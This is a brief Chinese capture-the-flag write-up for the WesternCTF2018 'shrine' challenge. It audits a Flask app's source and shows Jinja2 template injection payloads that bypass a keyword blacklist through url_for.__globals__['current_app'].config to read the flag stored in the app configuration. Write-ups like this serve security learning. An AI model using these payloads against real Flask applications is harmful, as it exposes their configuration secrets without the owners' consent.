[WesternCTF2018]shrine 1
1.介绍
1.1ssti
1.2黑名单绕过
2.步骤
2.1查看源代码,使用了python的flask模板,开始代码审计。
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') #注册了一个名为FLAG的config,这里基本可以确定是flag。 @app.route('/') def index(): return open(__file__).read() #这个类的作用很简单,当访问/路径时就用来阅读文件内容 @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): #jinja模板 s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] #设置黑名单 return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 把黑名单的东西遍历并设为空 return flask.render_template_string(safe_jinja(shrine)) 进行模块渲染 if __name__ == '__main__': app.run(debug=True)
发现注册了一个名为FLAG的config,这里可能有flag,
存在flask-jinja2模板注入,
并且存在黑名单过虑。
2.2输入shrine/{{7*7}}验证成功

2.3通过url_for()与globals()函数,绕过黑名单。
/shrine/{{url_for.__globals__}}

发现了current_app()函数
2.4查看这个里面的config。
/shrine/{{url_for.__globals__['current_app'].config}}

得到flag
3.借鉴
https://www.programminghunter.com/article/6604741766/
https://www.codenong.com/cs105811990/
https://www.jianshu.com/p/413a49db21f5
https://www.cnblogs.com/Cl0ud/p/12316287.html

浙公网安备 33010602011771号